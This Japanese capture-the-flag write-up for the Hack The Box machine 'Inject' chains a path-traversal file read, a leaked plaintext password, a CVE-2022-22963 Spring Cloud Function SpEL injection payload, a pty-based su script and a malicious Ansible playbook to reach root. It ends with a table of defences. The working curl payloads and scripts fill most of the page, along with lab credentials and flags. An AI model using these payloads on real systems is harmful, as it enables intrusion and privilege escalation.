Hack The BoxのWriteup(Inject)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Inject — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/8080(Spring Boot)
→
/show_image LFI
6階層の../でroot到達
→
settings.xml漏洩
phil:DocPhillovestoInject123
→
CVE-2022-22963 SPEL RCE
frank権限ブラインドRCE
→
PTYトリックでsu phil
Python pty.openpty()
→
user.txt ✓
→
staffグループ書込可能ディレクトリ
/opt/automation/tasks/
→
悪意Ansible playbook配置
root cronが自動実行
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン & サイト確認

BASH
nmap -sV -sC -p 22,8080 10.129.228.213
curl -s http://10.129.228.213:8080/ | grep title
RESULT
PORT     STATE SERVICE
22/tcp   open  ssh
8080/tcp open  http-proxy

<title>Home</title>  (「Zodd Cloud」という画像アップロード/表示サービス)
ℹ️
Spring Boot製のWebアプリで、ユーザーがアップロードした画像を /show_image?img=<filename>で表示する機能を持つ。 このパラメータがパストラバーサル対策なしでファイルシステムパスに 直結している疑いが強い。
PHASE 2

/show_image エンドポイントのLFIで資格情報とバージョンを収集

パストラバーサルの深さを調整して/etc/passwdを読む

BASH
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../etc/passwd"
RESULT
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
ℹ️
画像のアップロード先が/var/www/WebApp/src/main/uploads/という 6階層分深いパスのため、ファイルシステムルートに到達するには 6回分の../が必要。浅い回数では失敗しHTTP 500の JSONエラー({"timestamp":...})が返るため、500応答は「LFI失敗」の 判定条件として使える。

Mavenの settings.xml から資格情報を窃取

BASH
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../home/frank/.m2/settings.xml"
RESULT
<server>
  <id>Inject</id>
  <username>phil</username>
  <password>DocPhillovestoInject123</password>
  <privateKey>${user.home}/.ssh/id_dsa</privateKey>
</server>
🚨
Webプロセスがユーザーfrankとして動いているため、 /home/frank/配下のMaven設定ファイルを読み取ることができ、 そこに平文の資格情報phil:DocPhillovestoInject123 がハードコードされている。

pom.xmlでSpring Cloud Functionのバージョンを確認

BASH
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml" \
  | grep -A2 spring-cloud-function
RESULT
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
🚨
spring-cloud-function-web 3.2.2はCVE-2022-22963 (Spring Cloud Function SPELインジェクション)の既知脆弱バージョン。
PHASE 3

CVE-2022-22963: Spring Cloud Function SPELインジェクション

脆弱性の概要とペイロード構造

NOTE
Spring Cloud Function 3.1.6 / 3.2.2 以前は、HTTPヘッダー
"spring.cloud.function.routing-expression" の値をSpEL(Spring Expression
Language)式として評価してルーティング先関数を決定する。この評価処理が
ユーザー制御のヘッダー値に対して無検証で実行されるため、
T(java.lang.Runtime).getRuntime().exec(...) のようなSpEL式を注入すると
任意のOSコマンドを実行できる。
BASH (id を実行して確認)
B64=$(echo -n "id > /tmp/rce_test.txt" | base64 -w0)
SPEL="T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"{echo,${B64}}|{base64,-d}|{bash,-i}\"})"
curl -s -X POST http://10.129.228.213:8080/functionRouter \
  -H "spring.cloud.function.routing-expression: ${SPEL}" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "data=test"

# 実行結果はファイル経由でLFIから読む(ブラインドRCE)
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../tmp/rce_test.txt"
RESULT
{"timestamp":"...","status":500,"error":"Internal Server Error",
 "message":"EL1001E: Type conversion problem, cannot convert from
            java.lang.ProcessImpl to java.lang.String", ...}

→ LFIで /tmp/rce_test.txt を読むと:
uid=1000(frank) gid=1000(frank) groups=1000(frank)
✅
HTTPレスポンス自体は常に500エラーになる (Runtime.exec()の戻り値であるProcessオブジェクトを アプリがString型に変換しようとして例外が発生するため)が、 この例外が発生する前にコマンドの実行自体は完了しているため、 実質的なブラインドRCEとして機能する。実行結果はコマンド内で /tmpにリダイレクトし、既存のLFI脆弱性で読み出して確認する という「2つの脆弱性を組み合わせた」確認方法。
PHASE 4

PTYトリックでsu phil & user.txt取得

なぜ直接SSHできないか

NOTE
philのSSHパスワード認証は無効化されている(確認すると拒否される)。
また frank の RCE はパスワード無しのブラインドシェルで、そのままでは
対話的な su が使えない(TTYが無い)。そこでフェーズ3のRCEから
Pythonのpty.openpty()で疑似端末を作り、その上でsuを実行する。

PTY経由でsuを実行するPythonスクリプトを配置

PYTHON (su_phil.py)
import os, pty, subprocess, time
master, slave = pty.openpty()
p = subprocess.Popen(["su", "-c", "cat /home/phil/user.txt > /tmp/user_out.txt", "phil"],
                      stdin=slave, stdout=slave, stderr=slave, close_fds=True)
time.sleep(0.5)
os.write(master, b"DocPhillovestoInject123\x0a")   # \x0a=改行(bytesリテラル)
time.sleep(2.5)
p.wait(timeout=15)
os.close(master)
os.close(slave)
⚠️
実装上の注意点: パスワードを渡すbytesリテラル内で 改行を表現する際、f-string内に素の\nを書くと実際の改行文字として 解釈されてSyntaxErrorになる(文字列リテラルが途中で終わってしまう)。 必ず\x0aのようなエスケープ表記を使う。
BASH (base64で配置して実行)
B64=$(base64 -w0 su_phil.py)
SPEL="T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",
  \"echo ${B64}|base64 -d>/tmp/su_phil.py\"})"
curl -s -X POST http://10.129.228.213:8080/functionRouter \
  -H "spring.cloud.function.routing-expression: ${SPEL}" -d "data=test"

# 続けて実行
B64CMD=$(echo -n "python3 /tmp/su_phil.py" | base64 -w0)
SPEL2="T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",
  \"{echo,${B64CMD}}|{base64,-d}|{bash,-i}\"})"
curl -s -X POST http://10.129.228.213:8080/functionRouter \
  -H "spring.cloud.function.routing-expression: ${SPEL2}" -d "data=test"

LFIでuser.txtを読み出す

BASH
# 数秒待ってsuの完了を待つ
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../tmp/user_out.txt"
RESULT
d2f270799d932e29ab60f9e73193f0d2
user.txt — phil (RCE+su+LFI経由)
d2f270799d932e29ab60f9e73193f0d2
PHASE 5

staffグループ書込可能なAnsible自動実行ディレクトリを発見

philの所属グループと/opt/automation/tasksの権限確認

NOTE
同じRCE+PTYの仕組みで "id phil; ls -la /opt/automation/tasks/" を実行し、
結果ファイルをLFIで読む。
RESULT
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)

drwxrwxr-x 2 root staff 4096 ... .
-rw-r--r-- 1 root root  150 ... playbook_1.yml
🚨
philが所属するstaffグループに、 /opt/automation/tasks/への書込権限(rwx)が与えられている。 既存のplaybook_1.yml(root所有)の中身も読んでみると、 ansible.builtin.systemdでwebappサービスの状態を確認する 通常運用のAnsible playbookであることがわかる — つまり rootが定期的にこのディレクトリ内の.ymlファイルを ansible-playbookで実行している(cron運用)と推測できる。
PHASE 6

悪意あるAnsible playbookを配置 & root.txt取得

root.txtをコピーするplaybookを作成

BASH (inject_pwn.yml)
- hosts: localhost
  tasks:
    - name: copy root flag
      ansible.builtin.shell: "cp /root/root.txt /tmp/rf.txt && chmod 644 /tmp/rf.txt"

PTYトリックでphilとして正式な書込権限を使い配置

PYTHON (su_phil_deploy.py)
import os, pty, subprocess, time
master, slave = pty.openpty()
p = subprocess.Popen(["su", "-c",
    "cp /tmp/inject_pwn.yml /opt/automation/tasks/inject_pwn.yml", "phil"],
    stdin=slave, stdout=slave, stderr=slave, close_fds=True)
time.sleep(0.5)
os.write(master, b"DocPhillovestoInject123\x0a")
time.sleep(2.5)
p.wait(timeout=15)
os.close(master)
os.close(slave)
open("/tmp/deploy_ok.txt","w").write("done")
ℹ️
frankはWebプロセスの実行ユーザーでありstaffグループではないため 直接このディレクトリに書き込めない。philにsuしてから コピーすることで、staffグループの書込権限を正しく行使する。
BASH (配置確認)
curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../opt/automation/tasks/inject_pwn.yml"
RESULT
- hosts: localhost
  tasks:
    - name: copy root flag
      ansible.builtin.shell: "cp /root/root.txt /tmp/rf.txt && chmod 644 /tmp/rf.txt"
✅
配置成功を確認。root所有ディレクトリ内に自分のplaybookが 正しく書き込まれている。

cronによるansible-playbook自動実行を待ち、root.txtをLFIで取得

BASH
for i in $(seq 1 12); do
  out=$(curl -s "http://10.129.228.213:8080/show_image?img=../../../../../../tmp/rf.txt")
  echo "$out" | grep -qE '^[a-f0-9]{32}$' && { echo "$out"; break; }
  sleep 30
done
RESULT
attempt 1: not yet
attempt 2: not yet
=== ROOT FLAG FOUND on attempt 3 ===
5ac18d2cee455279073b06ab910fa9fd
✅
数十秒〜1分少々でrootのcronが/opt/automation/tasks/内の全.ymlを ansible-playbookで実行し、仕込んだshellタスクがroot権限で実行され /root/root.txtを世界読み取り可能な/tmpにコピーした。 あとは既存のLFI脆弱性で普通に読み出すだけでよい。
root.txt — root (Ansible playbook自動実行経由)
5ac18d2cee455279073b06ab910fa9fd
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — phil
d2f270799d932e29ab60f9e73193f0d2
root.txt — root
5ac18d2cee455279073b06ab910fa9fd

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
パストラバーサル(LFI) /show_image?img= エンドポイント サーバー上の任意ファイル読み取り Critical アップロードディレクトリの深さに合わせた6階層分の../で任意パスへ到達
設定ファイルへの資格情報ハードコード /home/frank/.m2/settings.xml SSH/su用資格情報の漏洩 High LFIでMaven設定ファイルを読み、phil用の平文パスワードを窃取
CVE-2022-22963 (Spring Cloud Function SPELインジェクション) spring-cloud-function-web 3.2.2 リモートコード実行(frank権限) Critical spring.cloud.function.routing-expressionヘッダーにRuntime.exec()を注入するSpEL式を送信
root cronによるAnsible playbook自動実行 + グループ書込可能ディレクトリ /opt/automation/tasks/ (staffグループ書込可) 権限昇格(一般ユーザー → root) Critical 任意のshellタスクを含むplaybookを配置し、root権限での定期実行を悪用

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap22(SSH)/8080(Spring Boot “Zodd Cloud”)
2LFI情報収集6階層トラバーサルphil:DocPhillovestoInject123、Spring Cloud Function 3.2.2
3RCECVE-2022-22963 SPEL注入frank権限でのブラインドコマンド実行
4フットホールドPTYトリックでsu philuser.txt(phil)
5権限調査グループ・ディレクトリ権限確認staffグループ書込可能な自動実行ディレクトリ発見
6権限昇格悪意Ansible playbook配置root.txt

学んだ教訓 & 防御策

問題点防御策
ファイル表示エンドポイントがユーザー入力をパストラバーサル対策なしでファイルパスに結合している ファイル名はホワイトリスト検証(許可拡張子・basename()による正規化)を必須とし、固定ディレクトリ外へのアクセスをプログラム的に禁止する。
設定ファイル(settings.xml)に平文の資格情報がハードコードされている 資格情報はCI/CDの環境変数やシークレットマネージャーで管理し、リポジトリ/設定ファイルに含めない。
既知CVEを含む古いバージョンのライブラリ(Spring Cloud Function)を使用 依存ライブラリは定期的に更新し、脆弱性スキャナーでCVEの有無を継続監視する。
一般ユーザーが所属するグループにroot自動化ジョブの入力ディレクトリへの書込権限が付与されている root権限で実行する自動化ツール(Ansible等)の入力ファイルは、信頼できないユーザーが書き込めるディレクトリから隔離する。最小権限の原則でグループ所属を見直す。
HackTheBox: Inject | 完全攻略レポート